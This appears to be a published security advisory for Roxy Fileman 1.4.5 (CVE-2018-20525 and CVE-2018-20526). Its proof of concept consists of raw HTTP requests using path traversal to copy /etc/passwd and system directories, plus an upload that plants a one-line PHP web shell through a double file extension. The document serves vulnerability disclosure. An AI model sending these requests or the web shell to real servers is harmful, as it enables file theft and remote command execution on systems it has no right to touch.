扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 |
====================================================================== Exploit Title:: Multiple Vulnerabilities Software: Roxy Fileman Version: 1.4.5 Vendor Homepage: http://www.roxyfileman.com/ Software Link: http://www.roxyfileman.com/download.php?f=1.4.5-php CVE number: CVE-2018-20525, CVE-2018-20526 Found: 2018-12-07 Tested on: PHP 7.0, Ubuntu 16.04 LTS Author: Pongtorn Angsuchotmetee, Vittawat Masaree SnoopBees Lab https://www.snoopbees.com ======================================================================= Description =============================================================== Roxy Fileman is free open source file browser for .NET and PHP, ready for use with CKEditor and TinyMCE WYSIWYG html editors. It could be easily integrated into a CMS or any other web application. Fileman is based on JQuery and JQueryUI libraries and it's compatible with all modern browsers - Internet Explorer, Firefox, Google Chrome, Safary and Opera. Roxy Fileman is designed to be as flexible as possible. The client interface is completely separated from the server-side logic and scripts, thus can be used with any server programming language - PHP, ASP .NET, Python, Cold Fusion etc. All data exchanged including configuration and language files is in light weight JSON format. Great performance - all data from the server is loaded using Ajax without page reloading. Fileman has ready to use distributions for PHP and .NET. All client-server communications and configuration files are in JSON format and are language independent. See custom server side scripts. Ref: http://www.roxyfileman.com/ Vulnerability ================================== 1. Path Traversal (CVE-2018-20525) 2. Unrestricted File Upload (CVE-2018-20526) ================================== Proof of Concept =========================== 1) Path Traversal (CVE-2018-20525) ================================== The vulnerability affected file “copydir.php", “copyfile.php", “fileslist.php". It is we can manipulating variables that reference files with “dot-dot-slash (../)”to access arbitrary files and directories access on file system. After copied the system file will appear on Roxy file manager “http://[IP-Address]/fileman/Uploads". ################################################# ---------------------------------------------------------------------------------- 1.1. copydir.php POST /fileman/php/copydir.php HTTP/1.1 Host: 10.10.10.190 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.190/fileman/index.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 78 Connection: close Cookie: PHPSESSID=m48hnq7i6f83tdb38kaagfn4af; roxyld=%2Ffileman%2FUploads%2FImages; roxyview=list d=%2Ffileman%2FUploads%2F*/../../../../../../../../etc/*&n=%2Ffileman%2FUploads/ ---------------------------------------------------------------------------------- 1.2. copyfile.php POST /fileman/php/copyfile.php HTTP/1.1 Host: 10.10.10.190 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.190/fileman/index.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 66 Connection: close Cookie: PHPSESSID=m48hnq7i6f83tdb38kaagfn4af; roxyld=%2Ffileman%2FUploads%2FImages; roxyview=list f=%2Ffileman%2FUploads%2F*/../../../../../../../../etc/passwd*&type= ---------------------------------------------------------------------------------- 1.3. filelist.php POST /fileman/php/fileslist.php HTTP/1.1 Host: 10.10.10.190 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.190/fileman/index.html Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 65 Connection: close Cookie: PHPSESSID=m48hnq7i6f83tdb38kaagfn4af; roxyld=%2Ffileman%2FUploads%2FImages; roxyview=list d=%2Ffileman%2FUploads%2FImages*/../../../../../../../../etc*&type= ############################################################## ============================ 2) Unrestricted File Upload (CVE-2018-20526) ================================== The vulnerability affected file upload.php and in the condition that the php.ini file need have add the “*AddHandler php7-script .php*”. And now we can upload the shell code file to the server by double extension such as *shellcode.php.png * -------------------------------------------------------------------------------------------------------------------- POST /fileman/php/upload.php HTTP/1.1 Host: 10.10.10.190 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.10.10.190/fileman/index.html Content-Type: multipart/form-data; boundary=---------------------------67141620012509 Content-Length: 547 Connection: close Cookie: PHPSESSID=m48hnq7i6f83tdb38kaagfn4af; roxyld=%2Ffileman%2FUploads; roxyview=list -----------------------------67141620012509 Content-Disposition: form-data; name="action" upload -----------------------------67141620012509 Content-Disposition: form-data; name="method" ajax -----------------------------67141620012509 Content-Disposition: form-data; name="d" /fileman/Uploads -----------------------------67141620012509 Content-Disposition: form-data; name="files[]"; filename="*phpshell.php.png*" Content-Type: image/png *<?php system($_GET[cmd]); ?> * -----------------------------67141620012509-- ------------------------------------------------------------------------------------------------------------------------------------------- Timeline ================================== 2018-12-07: Discovered the bug 2018-12-11: Reported to vendor (The vendor is unresponsive) 2018-12-19: Reported to vendor (The vendor is unresponsive) 2018-12-27: Request CVE 2019-01-03: Advisory published Discovered By: ===================== Pongtorn Angsuchotmetee, Vittawat Masaree |
体验盒子
